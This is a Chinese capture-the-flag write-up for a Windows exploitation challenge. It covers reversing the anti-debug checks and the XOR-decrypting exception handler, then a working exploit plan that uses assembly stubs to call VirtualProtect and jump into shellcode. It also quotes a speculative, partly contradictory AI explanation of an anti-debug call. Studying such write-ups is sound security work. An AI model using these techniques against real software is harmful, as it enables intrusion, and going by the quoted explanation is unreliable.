# Project Sekai CTF 2025 - PWN
README!!!
Important!!!
在阅读本文章前,请确保自己已经大喊一声:Wonderhoy!
否则,没有否则... ... ...
我们大半夜 25 点玩 PJSK 国服的是这样的...
玩家 ID:3835221041
加我好友打歌喵 Wonderho~i!
# Umiyuri Kaikeitan# 题目ウミユリ海底譚 (Umiyuri Kaikeitan) is a song by n-buna featuring Hatsune Miku. This song has nothing to do with the challenge, I suck at naming.
By the way, the Master Maimai chart is fun to play (though I couldn't play it because of skill issue).
ZIP password: omg_it_migu
Author: nyancat0131
❖ Note
You will need to submit a payload that exploits the binary and displays flag.png to the screen.
https://umiyuri-kaikeitan.chals.sekai.team/
附件下载
# 题目分析# 初步分析
1 2 3 4 5 6 7 Checksec Results: PE ┏━━━━━━━━━━┳━━━━━┳━━━━━━━━┳━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ File ┃ NX ┃ Canary ┃ ASLR ┃ Dynamic Base ┃ High Entropy ┃ SEH ┃ SafeSEH ┃ Force ┃ Control Flow ┃ Isolation ┃ Authenticode ┃ ┃ ┃ ┃ ┃ ┃ ┃ VA ┃ ┃ ┃ Integrity ┃ Guard ┃ ┃ ┃ ┡━━━━━━━━━━╇━━━━━╇━━━━━━━━╇━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ game.exe │ Yes │ Yes │ Yes │ Yes │ Yes │ Yes │ / │ No │ Yes │ Yes │ No │ └──────────┴─────┴────────┴──────┴──────────────┴───────────────┴─────┴─────────┴───────────────┴───────────────┴───────────┴──────────────┘
显而易见是 winpwn(虽然但是 bro 之前唯一做过的 winpwn 还是个栈溢出 ret2backdoor,刚开始拿到这个题直接冒冷汗了😰😰😰)
只给了一个 exe,扔进 IDA 分析,main 函数读入 data.txt 并循环异或 “PJSK” 然后输出到 output.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __fastcall main (int argc, const char **argv, const char **envp) { int v3; int v4; char *v5; int v7; FILE *Stream; v3 = 0 ; Stream = 0 i64; fopen_s(&Stream, "data.txt" , "rb" ); if ( !Stream ) goto LABEL_7; v4 = 0 ; v7 = 1263749712 ; if ( !feof(Stream) ) { v5 = (char *)&unk_140026BD0; do { ++v5; ++v3; *(v5 - 1 ) = *((_BYTE *)&v7 + v4) ^ fgetc(Stream); v4 = (v4 + 1 ) % 4 ; } while ( !feof(Stream) ); } fopen_s(&Stream, "output.txt" , "wb" ); if ( Stream ) { fwrite(&unk_140026BD0, 1u i64, v3, Stream); return 0 ; } else { LABEL_7: sub_140001020("Contact support\n" ); return 0 ; } }
直接 x64dbg 或者 ida 调试发现没有走到 main 函数就寄掉了,应该是有反调试,一步一步调发现 start 调用的函数表
1 2 3 4 5 sub_140007850(&unk_14001A2C0, &unk_14001A2D8); .rdata:000000014001 A2C0 00 00 00 00 00 00 00 00 qword_14001A2C0 dq 0 ; DATA XREF: __scrt_common_main_seh(void )+75 ↑o .rdata:000000014001 A2C8 50 12 00 40 01 00 00 00 dq offset ?pre_cpp_initialization@@YAXXZ ; pre_cpp_initialization(void ) .rdata:000000014001 A2D0 00 10 00 40 01 00 00 00 dq offset sub_140001000
调用了两个函数,其中第二个函数 sub_140001000 jmp 到的函数 sub_1400192A0 明显有着动态解析 dll 地址的代码。
# sub_1400192A0 分析函数首先遍历 PEB 找加载的模块,之后从模块遍历符号表解析函数地址,调用了一些函数,之后对代码段的代码进行 xor 修改,最后返回。 函数解析符号的时候频繁使用了 0xCBF29CE484222325,是 64 bit FNV-1a 算法经常使用的常数。 代码中大量使用了 FNV-1a 哈希算法(64 位),用于在运行时动态解析 API 函数名和模块名,以规避静态分析。
# 第 1 步:获取 ntdll.dll 模块句柄程序首先遍历 PEB 获取模块列表,并遍历列表,直到找到 ntdll.dll 模块,获取其基地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 p_InLoadOrderModuleList = &NtCurrentPeb()->Ldr->InLoadOrderModuleList; Flink = p_InLoadOrderModuleList->Flink; if ( p_InLoadOrderModuleList->Flink == p_InLoadOrderModuleList ){ LABEL_9: v6 = 0LL ; } else { while ( 1 ) { v2 = Flink[6 ].Flink; if ( v2 ) { v3 = (unsigned __int16)v2->Flink; v4 = 0xCBF29CE484222325 uLL; if ( LOWORD(v2->Flink) ) { do { v2 = (struct _LIST_ENTRY *)((char *)v2 + 2 ); v5 = v3 + 32 ; if ( (unsigned int )v3 - 65 > 0x19 ) v5 = v3; v3 = (unsigned __int16)v2->Flink; v4 = 0x100000001B3 LL * (v5 ^ (unsigned __int64)v4); } while ( LOWORD(v2->Flink) ); if ( v4 == 0xE14B18A7ACF9C443 uLL ) break ; } } Flink = Flink->Flink; if ( Flink == p_InLoadOrderModuleList ) goto LABEL_9; } v6 = Flink[3 ].Flink; }
# 第 2 步:从 ntdll.dll 中解析 VirtualAlloc 函数这一步程序解析了 ntdll.dll 模块中的符号表(IMAGE_EXPORT_DIRECTORY),遍历导出的函数的符号,对比哈希找到目标函数对应的哈希,并取出地址偏移加上模块基地址存储备用。 拿到地址还会直接调用这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 v7 = *(unsigned int *)((char *)&v6[8 ].Blink + SHIDWORD(v6[3 ].Blink)); if ( (_DWORD)v7 && (v8 = 0 , v9 = (unsigned int *)((char *)v6 + *(unsigned int *)((char *)&v6[2 ].Flink + v7)), v10 = (__int64)v6 + *(unsigned int *)((char *)&v6[1 ].Blink + v7 + 4 ), v11 = *(_DWORD *)((char *)&v6[1 ].Blink + v7), v12 = (__int64)v6 + *(unsigned int *)((char *)&v6[2 ].Flink + v7 + 4 ), v11) ) { while ( 1 ) { v13 = 0xCBF29CE484222325 uLL; v14 = (char *)v6 + *v9; v15 = *v14; if ( *v14 ) { do { ++v14; v16 = v15 ^ (unsigned __int64)v13; v15 = *v14; v13 = 0x100000001B3 LL * v16; } while ( *v14 ); if ( v13 == 0xFA55E32C9D72A921 uLL ) break ; } ++v8; ++v9; if ( v8 >= v11 ) goto LABEL_16; } v17 = ((__int64 (__fastcall *)(_QWORD, __int64, __int64, __int64))((char *)v6 + *(unsigned int *)(v10 + 4LL * *(unsigned __int16 *)(v12 + 2LL * v8))))( 0LL , 88LL , 12288LL , 4LL ); } else { LABEL_16: v17 = MEMORY[0 ](0LL , 88LL , 12288LL , 4LL ); }
# 第 3 步:存储函数指针堆块到全局变量
1 2 3 Blink_high = SHIDWORD(v6[3 ].Blink); v19 = (_QWORD *)v17; qword_140026BC0 = v17;
# 第 4 步:解析 ntdll.dll 中的其他函数其余函数被解析并存储地址到 v19 指向的 chunk 中 具体代码略。
# 第 5 步:解析 kernel32.dll 中的函数具体代码略。
反编译代码:
1 ((void (__fastcall *)(__int64, __int64, _QWORD, _QWORD))v126)(-2 i64, 17 i64, 0 i64, 0 i64);
VS2022 里面写一个 demo 就能看具体内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 __kernel_entry NTSTATUS NTAPI NtQueryInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL ) ;typedef enum _PROCESSINFOCLASS { ProcessBasicInformation = 0 , ProcessDebugPort = 7 , ProcessWow64Information = 26 , ProcessImageFileName = 27 , ProcessBreakOnTermination = 29 } PROCESSINFOCLASS;
但是第二个参数,ProcessInformationClass 枚举类型没有 17 这个项目,微软官方文档也没有写。
问了 ai 说是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 NtQueryInformationProcess: 这是 Windows Native API 中的一个函数,用于查询有关指定进程的各种信息。 -2LL : 这是一个句柄。在 Windows API 中,-1 (INVALID_HANDLE_VALUE) 通常表示当前进程,而 -2 通常表示当前线程。这里的 -2LL 很可能是指向当前线程的伪句柄 (NtCurrentThread())。17LL : 这是信息类(ProcessInformationClass)。值 17 对应的是 ProcessBreakOnTermination。这个信息类用于查询或设置一个标志,该标志决定当进程终止时,是否在内核调试器中触发断点。0LL : 这是输出缓冲区的指针。0LL (或 NULL ) 表示没有提供有效的缓冲区来接收数据。0LL : 这是输出缓冲区的大小。0LL 表示缓冲区大小为 0 。您观察到的现象——“调试器执行到 NtQueryInformationProcess(-2LL , 17LL , 0LL , 0LL ) 就无法继续调试”——其根本原因很可能不是因为这个函数本身导致调试器崩溃或卡死,而是这个调用触发了某种调试保护机制或反调试技术。 让我们深入分析: 1. 为什么这个调用本身不会“卡住”调试器?正如之前解释的,NtQueryInformationProcess(-2LL , 17LL , 0LL , 0LL ) 是一个注定会失败的调用: -2LL 通常代表 NtCurrentThread()(当前线程句柄)。17LL 对应 ProcessBreakOnTermination。0LL 和 0LL 表示缓冲区指针为 NULL ,大小为 0 。这个调用会立即返回一个错误状态(如 STATUS_INFO_LENGTH_MISMATCH 或 STATUS_ACCESS_VIOLATION),它是一个非常快的系统调用,不会阻塞或挂起进程。调试器完全可以正常处理这种失败的 API 调用。 2. 那么,为什么调试器“没法调试”了?真正的原因在于 ProcessBreakOnTermination (17 ) 这个信息类的特殊含义。 ProcessBreakOnTermination 的作用 当使用 ProcessBreakOnTermination 查询或设置时,它会操作进程的一个内核标志:Process->NoDebugInherit 或类似机制。这个标志决定了: 如果设置为 TRUE:当这个进程终止时,会向内核调试器(如 KD)发送一个 BREAKPOINT 异常。 如果设置为 FALSE:进程正常终止,不触发调试中断。 关键点:调试器的“接管” 当您用一个用户模式调试器(如 x64dbg, OllyDbg, WinDbg 用户模式)附加到进程时,调试器会通过 DebugActiveProcess 等 API 与目标进程建立连接。 这个调试连接本质上是建立在用户模式调试 API 之上的。 问题所在:ProcessBreakOnTermination 与调试器的冲突 ProcessBreakOnTermination 触发的是一个内核模式调试中断 (Kernel Debugger Breakpoint)。 当您的代码执行 NtQueryInformationProcess(..., 17 , ...) 时,即使调用失败,它也可能已经修改了进程的内部状态或触发了内核的某些检查。 更关键的是,许多反调试技术会故意设置 ProcessBreakOnTermination 为 TRUE。一旦进程在调试环境下终止(或发生某些异常),内核会尝试调用内核调试器。 但是,您的用户模式调试器无法处理这种内核级别的中断。它期望处理的是 EXCEPTION_DEBUG_EVENT 等用户模式事件。 结果就是:调试器收到了一个它无法识别或处理的“信号”,导致它失去对目标进程的控制,表现为“无法继续调试”、“调试器断开”、“目标进程消失”或“调试器自身卡死”。 3. 这是一种反调试技术!是的,这正是一个经典的反调试技巧: 目的:检测是否在调试器下运行。 手段:调用 NtSetInformationProcess 或 NtQueryInformationProcess 设置 ProcessBreakOnTermination。 原理:在正常运行时,即使设置了 BreakOnTermination,如果没有内核调试器,进程终止时可能只是蓝屏或静默失败。但在用户模式调试器下,这个内核中断会干扰调试会话,导致调试器异常。 效果:程序在调试器下行为异常或崩溃,而在正常环境下运行正常,从而“保护”了自己不被分析。 如何验证和绕过? 验证:您可以使用内核调试器(如 WinDbg Kernel Debugging)来观察是否真的触发了 BREAKPOINT 异常。 绕过: 使用内核调试器:内核调试器可以处理 ProcessBreakOnTermination 中断。 修改内存或 API Hook:在调用 NtQueryInformationProcess 之前,Hook 该函数并修改其参数或直接返回成功,阻止其真正执行。 在非调试环境下运行:直接运行程序,不附加调试器。 总结 NtQueryInformationProcess(-2LL , 17LL , 0LL , 0LL ) 本身不会让调试器“卡住”,但它极有可能是反调试代码的一部分。它通过操作 ProcessBreakOnTermination 标志,故意破坏用户模式调试器与目标进程之间的通信协议,导致调试器无法正常处理后续的调试事件,从而表现为“无法调试”。 这并非调试器的缺陷,而是程序设计者利用 Windows 内核调试机制来对抗分析的典型手段。
实际调试到这个函数会发现程序会崩溃,而且后续也没有使用其返回值,所以我选择把 call 的汇编指令给 nop 了,这样就能进一步调试了。
# 第 7 步:获取当前进程的 PE 镜像信息通过 GetModuleHandlew (NULL) 获取当前模块基地址,然后解析 DOS 头和 NT 头。
1 2 3 4 5 v127 = (*(__int64 (__fastcall **)(_QWORD))(qword_140026BC0 + 64 ))(0LL ); v128 = 0 ; v129 = v127 + *(int *)(v127 + 60 ); v130 = *(unsigned __int16 *)(v129 + 6 ); v131 = v129 + *(unsigned __int16 *)(v129 + 20 );
# 第 8 步:查找 .text 节区并解密这一段代码对 text 段的代码进行了异或,中间使用 VirtualProtect 修改了 text 段的权限,然后对 text 段进行异或解密,最后再改回去原本的权限,这里异或的内容攻击者不可控。 而且这个异或是有范围的。程序有两个代码段,它是异或了第一个代码段,第二个代码段没有异或,而这目前运行的函数和 handler 都在第二个.text 段,不会被影响。(甚至还是整个程序最靠后的两个函数)
地址 大小 所属方 页面信息 分配类型 当前保护 分配保护 00007FF6BC880000 0000000000001000 用户 game.exe IMG -R--- ERWC- 00007FF6BC881000 0000000000018000 用户 ".text" IMG ----- ERWC- 00007FF6BC899000 0000000000001000 用户 ".text" IMG ER--- ERWC- 00007FF6BC89A000 000000000000B000 用户 ".rdata" IMG -R--- ERWC- 00007FF6BC8A5000 000000000001A000 用户 ".data" IMG -RW-- ERWC- 00007FF6BC8BF000 0000000000001000 用户 ".fptable" IMG -R--- ERWC- 00007FF6BC8C0000 0000000000001000 用户 ".rsrc" IMG -R--- ERWC- 00007FF6BC8C1000 0000000000001000 用户 ".reloc" IMG -R--- ERWC-
对应代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 if ( (_WORD)v130 ){ v132 = (_BYTE *)(v131 + 26 ); while ( *(v132 - 2 ) != 46 || *(v132 - 1 ) != 116 || *v132 != 101 || v132[1 ] != 120 || v132[2 ] != 116 || v132[3 ] ) { ++v128; v132 += 40 ; if ( v128 >= v130 ) goto LABEL_98; } v135 = 0 ; v136 = v127 + *(unsigned int *)(v131 + 40LL * v128 + 36 ); v137 = (*(_DWORD *)(v131 + 40LL * v128 + 32 ) + 4095 ) & 0xFFFFF000 ; v133 = qword_140026BC0; v138 = v136 + v137; v139 = v137 >> 12 ; *(_QWORD *)qword_140026BC0 = v136; *(_QWORD *)(v133 + 8 ) = v138; if ( v139 ) { v140 = (__int64 *)&unk_140036BD8; v141 = 1263749712LL ; v142 = 0LL ; do { v143 = ((unsigned __int64)(48271 * v141) * (unsigned __int128)0x200000005 uLL) >> 64 ; v144 = 48271 * (_DWORD)v141 - 0x7FFFFFFF * (unsigned int )((v143 + ((unsigned __int64)(48271 * v141 - v143) >> 1 )) >> 30 ); v145 = 48271 * v144 % 0x7FFFFFFF uLL; *(v140 - 1 ) = v145 | (v144 << 32 ); v146 = (48271 * v145 * (unsigned __int128)0x200000005 uLL) >> 64 ; v147 = 48271 * (_DWORD)v145 - 0x7FFFFFFF * (unsigned int )((v146 + ((48271 * v145 - v146) >> 1 )) >> 30 ); v148 = ((unsigned __int64)(48271 * v147) * (unsigned __int128)0x200000005 uLL) >> 64 ; v141 = 48271 * (_DWORD)v147 - 0x7FFFFFFF * (unsigned int )((v148 + ((unsigned __int64)(48271 * v147 - v148) >> 1 )) >> 30 ); *v140 = v141 | (v147 << 32 ); if ( *((_DWORD *)v140 + 2 ) != 1 ) { v149 = v142 + *(_QWORD *)v133; (*(void (__fastcall **)(__int64, __int64, __int64, char *))(v133 + 32 ))(v149, 4096LL , 4LL , &v152); for ( i = 0LL ; i < 512 ; i += 2LL ) { *(_QWORD *)(v149 + 8 * i) ^= *(v140 - 1 ); *(_QWORD *)(v149 + 8 * i + 8 ) ^= *v140; } v151 = qword_140026BC0; *((_DWORD *)v140 + 2 ) = 1 ; (*(void (__fastcall **)(__int64, __int64, __int64, char *))(v151 + 32 ))(v149, 4096LL , 1LL , &v152); v133 = qword_140026BC0; } ++v135; v142 += 4096LL ; v140 += 3 ; } while ( v135 < v139 ); } }
# 第 9 步:设置内存保护并调用回调函数第一个函数是 VirtualProtect,把函数表设置可读权限。 第二个函数是 RtlAddVectoredExceptionHandler (0,sub_140019000),或者 AddVectoredExceptionHandler,把异常处理函数添加到 VEH 链的末尾。 下面的代码中可以看出来 handler 函数的参数是 struct _EXCEPTION_POINTERS *ExceptionInfo,返回值是 PVECTORED_EXCEPTION_HANDLER
若要将控制权返回到发生异常的点,请返回 EXCEPTION_CONTINUE_EXECUTION (0xffffffff) 。 若要继续处理程序搜索,请返回 EXCEPTION_CONTINUE_SEARCH (0x0) 。
后续分析 handler 的时候可以利用这个信息,IDA 中也有这个 struct,直接按 y 重新定义一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 winnt.h typedef struct _EXCEPTION_POINTERS { PEXCEPTION_RECORD ExceptionRecord; PCONTEXT ContextRecord; } EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; typedef LONG (NTAPI *PVECTORED_EXCEPTION_HANDLER) ( struct _EXCEPTION_POINTERS *ExceptionInfo ) ;errhandlingapi.h WINBASEAPI _Ret_maybenull_ PVOID WINAPI AddVectoredExceptionHandler ( _In_ ULONG First, _In_ PVECTORED_EXCEPTION_HANDLER Handler ) ;
当异常发生时,操作系统会从链的开头开始调用 VEH。因此,sub_140019000 将是最后一个被调用的 VEH(在所有其他 VEH 之后,但在结构化异常处理 SEH 之前)
1 2 (*(void (__fastcall **)(__int64, __int64, __int64, char *))(v133 + 32 ))(v133, 88LL , 2LL , &v153); return (*(__int64 (__fastcall **)(_QWORD, __int64 (__fastcall *)()))(qword_140026BC0 + 48 ))(0LL , sub_140019000);
# 第一次触发异常刚才经过分析了 sub_140019000,由于其通过异或破坏了.text 段代码段,程序 ret 到 start 函数调用的__scrt_common_main_seh () 中,但是代码被破坏无法继续执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 00007F F6BC887868 | AC | lodsb |00007F F6BC887869 | 28 EE | sub dh,ch |00007F F6BC88786B | 2034E3 | and byte ptr ds:[rbx],dh |00007F F6BC88786E | 6 E | outsb |00007F F6BC88786F | 4 D:E4 27 | in al,27 |00007F F6BC887872 | 4B :E5 2 D <----RIP | in eax,2 D |00007F F6BC887875 | 07 | ??? |00007F F6BC887876 | 8169 3B D8C41CBA | sub dword ptr ds:[rcx+3B ],BA1CC4D8 | rcx+3B :RtlpFreezeTimeBias+675B 00007F F6BC88787D | 57 | push rdi |00007F F6BC88787E | 34 7 D | xor al,7 D |00007F F6BC887880 | AD | lodsd |00007F F6BC887881 | A4 | movsb |00007F F6BC887882 | C746 B1 CC059EAC | mov dword ptr ds:[rsi-4F ],AC9E05CC |00007F F6BC887889 | 24 72 | and al,72 |00007F F6BC88788B | 70 39 | jo game.7F F6BC8878C6 |00007F F6BC88788D | 5 C | pop rsp |00007F F6BC88788E | 58 | pop rax |00007F F6BC88788F | CE | ??? |00007F F6BC887890 | 0907 | or dword ptr ds:[rdi],eax |00007F F6BC887892 | 4B :ED | in eax,dx |00007F F6BC887894 | 14 47 | adc al,47 |00007F F6BC887896 | 42 :8B AC96 E4202B43 | mov ebp,dword ptr ds:[rsi+r10*4 +432B 20E |00007F F6BC88789E | 9B | fwait |00007F F6BC88789F | 4 E:AD | lodsq |00007F F6BC8878A1 | A2 C312E7E78F52E5AD | mov byte ptr ds:[ADE5528FE7E712C3],al |00007F F6BC8878AA | AB | stosd |00007F F6BC8878AB | 94 | xchg esp,eax |
此时就会触发 EXCEPTION_ACCESS_VIOLATION,进入 handler。
# Handler 函数分析 (sub_140019000)# 反调试# IsDebuggerPresent检测是否被调试器调试
1 2 3 4 5 6 if ( (*(qword_140026BC0 + 16 ))() ) { v2 = *(qword_140026BC0 + 40 ); v3 = (*(qword_140026BC0 + 56 ))(); v2(v3, 0LL ); }
# GetCurrentProcess + CheckRemoteDebuggerPresent检查是否被 remotedebug
1 2 3 4 5 6 7 8 v4 = *(qword_140026BC0 + 24 ); v5 = (*(qword_140026BC0 + 56 ))(); if ( v4(v5, &v27) && v27 ){ v6 = *(qword_140026BC0 + 40 ); v7 = (*(qword_140026BC0 + 56 ))(); v6(v7, 0LL ); }
# NtCurrentPeb()->BeingDebugged使用 NtCurrentPeb ()->BeingDebugged 检测是否被 debug NtCurrentPeb ()->BeingDebugged 实际上没有执行函数,而是直接 gs 寻址找出来的。
1 2 3 4 5 6 7 8 9 10 .text:0000000140019098 058 65 48 8B 04 25 60 00 00 mov rax, gs:60 h .text:0000000140019098 058 00 .text:00000001400190 A1 058 80 78 02 00 cmp byte ptr [rax+2 ], 0 if ( NtCurrentPeb()->BeingDebugged ) { v8 = *(qword_140026BC0 + 40 ); v9 = (*(qword_140026BC0 + 56 ))(); v8(v9, 0LL ); }
查询 ProcessDebugPort,检测是否被 debug
1 2 3 4 5 6 7 8 9 v29 = 0LL ; v10 = *(qword_140026BC0 + 72 ); v11 = (*(qword_140026BC0 + 56 ))(); if ( !v10(v11, 7LL , &v29, 8LL , 0LL ) && v29 ){ v12 = *(qword_140026BC0 + 40 ); v13 = (*(qword_140026BC0 + 56 ))(); v12(v13, 0LL ); }
# patch 方法把这些 if 跳转成功的跳转的汇编指令改成 force jmp,就可以跳过 if 内部的代码块相当于 if 必定判断 false。 patch 之后分别是:
1 2 3 4 5 6 7 8 .text:000000014001901F 058 jmp short loc_140019044 ... .text:000000014001906 C 058 jmp short loc_140019098 ... .text:00000001400190 A5 058 jmp short loc_1400190CA ... .text:0000000140019111 058 jmp short loc_140019136 ...
# 异或代码段unk_140036BD0 指向的内容是我们可以通过读取文件覆盖掉的,每次只改 0x1000 的代码段。结构和 sub_1400192A0 类似。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 ExceptionRecord = a1->ExceptionRecord; if ( a1->ExceptionRecord->ExceptionCode == 0xC0000005 ) { ExceptionAddress = ExceptionRecord->ExceptionAddress; v16 = *qword_140026BC0; if ( *qword_140026BC0 <= ExceptionAddress && ExceptionAddress < *(qword_140026BC0 + 8 ) && ExceptionRecord->ExceptionInformation[0 ] != 1 ) { v17 = (ExceptionAddress - v16) >> 12 ; v18 = 24 * v17; v19 = &unk_140036BD0 + 24 * v17; if ( *(v19 + 4 ) ) { v20 = (v17 << 12 ) + v16; (*(qword_140026BC0 + 32 ))(v20, 4096LL , 4LL , &v28); for ( i = 0LL ; i < 512 ; i += 2LL ) { *(v20 + 8 * i) ^= *(&unk_140036BD0 + v18); *(v20 + 8 * i + 8 ) ^= *(&unk_140036BD0 + v18 + 8 ); } } else { v22 = v17 + 1 ; v23 = 24 * v22; v19 = &unk_140036BD0 + 24 * v22; if ( !*(v19 + 4 ) ) return 0xFFFFFFFF LL; v20 = (v22 << 12 ) + v16; (*(qword_140026BC0 + 32 ))(v20, 4096LL , 4LL , &v28); for ( j = 0LL ; j < 512 ; j += 2LL ) { *(v20 + 8 * j) ^= *(&unk_140036BD0 + v23); *(v20 + 8 * j + 8 ) ^= *(&unk_140036BD0 + v23 + 8 ); } } v25 = qword_140026BC0; *(v19 + 4 ) = 0 ; (*(v25 + 32 ))(v20, 4096LL , 32LL , &v28); return 0xFFFFFFFF LL; } } return 1LL ;
函数返回 0xffffffff 代表问题已经在这个 handler 解决,不需要执行别的 handler,从异常的地址继续执行,返回 0 表示本 handler 解决不了,继续搜索别的 handler,返回 1 是执行__except 块。
1 2 3 4 5 6 except.h #define EXCEPTION_EXECUTE_HANDLER 1 #define EXCEPTION_CONTINUE_SEARCH 0 #define EXCEPTION_CONTINUE_EXECUTION (-1)
上面的 exceptionCode 查到是 STATUS_ACCESS_VIOLATION,同时 ExceptionRecord.ExceptionInformation [1] 要求不等于 1
微软在文档 中指出:
当异常代码未 EXCEPTION_ACCESS_VIOLATION 的时候,ExceptionInformation 为 0 表示线程尝试读取不可访问的数据,为 1 表示线程尝试写入不可访问的地址,即进入异或需要线程尝试读取不可访问的数据。
异常代码 含义 EXCEPTION_ACCESS_VIOLATION 数组的第一个元素包含一个读写标志,该标志指示导致访问冲突的操作类型。 如果此值为零,则线程尝试读取不可访问的数据。 如果此值为 1,则线程尝试写入不可访问的地址。如果此值为 8,则线程导致用户模式数据执行防护 (DEP) 冲突。第二个数组元素指定不可访问数据的虚拟地址。 EXCEPTION_IN_PAGE_ERROR 数组的第一个元素包含一个读写标志,该标志指示导致访问冲突的操作类型。 如果此值为零,则线程尝试读取不可访问的数据。 如果此值为 1,则线程尝试写入不可访问的地址。如果此值为 8,则线程导致用户模式数据执行防护 (DEP) 冲突。第二个数组元素指定不可访问数据的虚拟地址。第三个数组元素指定导致异常的基础 NTSTATUS 代码。
1 2 3 4 5 6 7 winnt.h ... #define STATUS_ACCESS_VIOLATION ((DWORD )0xC0000005L) ... #define EXCEPTION_ACCESS_VIOLATION STATUS_ACCESS_VIOLATION ...
经过简单的逆向,我们可以发现可控内容 unk_140036BD0 里面的结构是大致这样的
1 2 3 4 struct xordata { size_t xornum[2 ]; size_t used; }unk_140036BD0[anUnimportantNum];
我们控制了这个结构体,就能够自定义异常位置的代码,长度最多 0x10。
# 攻击思路# 扩展可控代码长度至此,我们拿到了 0x10 长度的任意代码执行。 由于远程靶机是上传 payload 在远程运行返回系统截图给攻击者,所以用 python 交互是不行了。 可惜的是,windows 作为一个 “混合内核” 的系统,syscall 并不像 Linux 那样能直接执行 shell 语句。 程序也没有提供执行命令的函数接口,远程机器的 dll 也没有在附件中给出。 因此只能使用地址无关的 shellcode,网上都有编写教程,长度很长是无法避免的了。
我们可控的大部分区域都在读入的文件的地方,所以想办法改掉那里的权限为可执行,然后 jmp 过去就行了。 因此,我们可以利用 handler 函数末尾调用 VirtualProtect 函数设置权限的部分代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 .text:0000000140019252 loc_140019252: ; CODE XREF: sub_140019000+1EF↑j .text:0000000140019252 058 48 8B 05 67 D9 00 00 mov rax, cs:qword_140026BC0 .text:0000000140019259 058 4C 8D 4C 24 68 lea r9, [rsp+58h+arg_8] .text:000000014001925E 058 44 89 76 10 mov [rsi+10h], r14d .text:0000000140019262 058 41 B8 20 00 00 00 mov r8d, 20h ; ' ' .text:0000000140019268 058 BA 00 10 00 00 mov edx, 1000h .text:000000014001926D 058 48 8B CB mov rcx, rbx .text:0000000140019270 058 48 8B 40 20 mov rax, [rax+20h] .text:0000000140019274 058 FF 15 1E 10 00 00 call cs:__guard_dispatch_icall_fptr .text:000000014001927A .text:000000014001927A loc_14001927A: ; CODE XREF: sub_140019000+209↑j .text:000000014001927A 058 48 8B 74 24 30 mov rsi, [rsp+58h+var_28] .text:000000014001927F 058 B8 FF FF FF FF mov eax, 0FFFFFFFFh .text:0000000140019284 058 48 8B 6C 24 38 mov rbp, [rsp+58h+var_20] .text:0000000140019289 058 48 83 C4 40 add rsp, 40h .text:000000014001928D 018 41 5E pop r14 .text:000000014001928F 010 5F pop rdi .text:0000000140019290 008 5B pop rbx .text:0000000140019291 000 C3 retn
地址 0x0000000140019274 call 的是 Windows CFG 安全机制插入的代码,内部会 call 这个函数的第一个参数。
Windows 下传参顺序:RCX,RDX,R8,R9, 栈
因此我们要控制 rcx 为读入 buf 的地址,即控制 rbx 寄存器,我们可以在 jmp 到这里之前设置。
除此之外还要设置 rsi+0x10 是个可写的合法地址,jmp 到这里之前 mov rsi,rsp 即可。
为了能劫持执行流到读入的 buf,即我们可以提前布置的 shellcode,我们可以提前伪造一下栈帧,让 ret 指令正好 ret 到 shellcode。
于是一个可行的方案:
1 2 3 4 .text:0000000140002170 000 48 8D 1D 59 4A 03 00 lea rbx, unk_140026BD0 .text:0000000140002177 000 53 push rbx .text:0000000140002178 008 83 EC 58 sub esp, 58h .text:000000014000217B 060 E9 D2 70 01 00 jmp loc_140019252
但是预期很好,现实总会给你当头一棒。
实测不知道为啥,第一个字节,即 0x48 总是异或不成功。(原本内存是 0xf2,异或的数值是 0xba,执行 xor 之后数值没变,还是 0xf2)
找了个能跑的开头 0xf2 的汇编指令,冗余的指令放到下一个页内,只要当前页最后 jmp 过去触发异常执行 handler 就行了。
于是修改后的版本:
1 2 3 .text:0000000140002170 000 F2 0F 10 C1 movsd xmm0, xmm1 .text:0000000140002174 000 48 8D 1D 55 4A 02 00 lea rbx, unk_140026BD0 .text:000000014000217B 000 E9 8F 0E 00 00 jmp loc_14000300F
0x14000300F 的地址也不是随便选的,这个地址原本存储的是一个 mov [???],reg 的指令,正好满足触发 handler 的条件。
jmp 过去布置的 shellcode:
1 2 3 4 5 .text:000000014000300F loc_14000300F: ; CODE XREF: __vcrt_freefls+B↑j .text:000000014000300F 028 53 push rbx .text:0000000140003010 030 48 83 EC 58 sub rsp, 58h .text:0000000140003014 088 48 89 E6 mov rsi, rsp .text:0000000140003017 088 E9 36 62 01 00 jmp loc_140019252
初始状态:
xor 后状态:
之后 jmp 过去执行 VirtualProtect:
函数末尾 ret 到 shellcode:
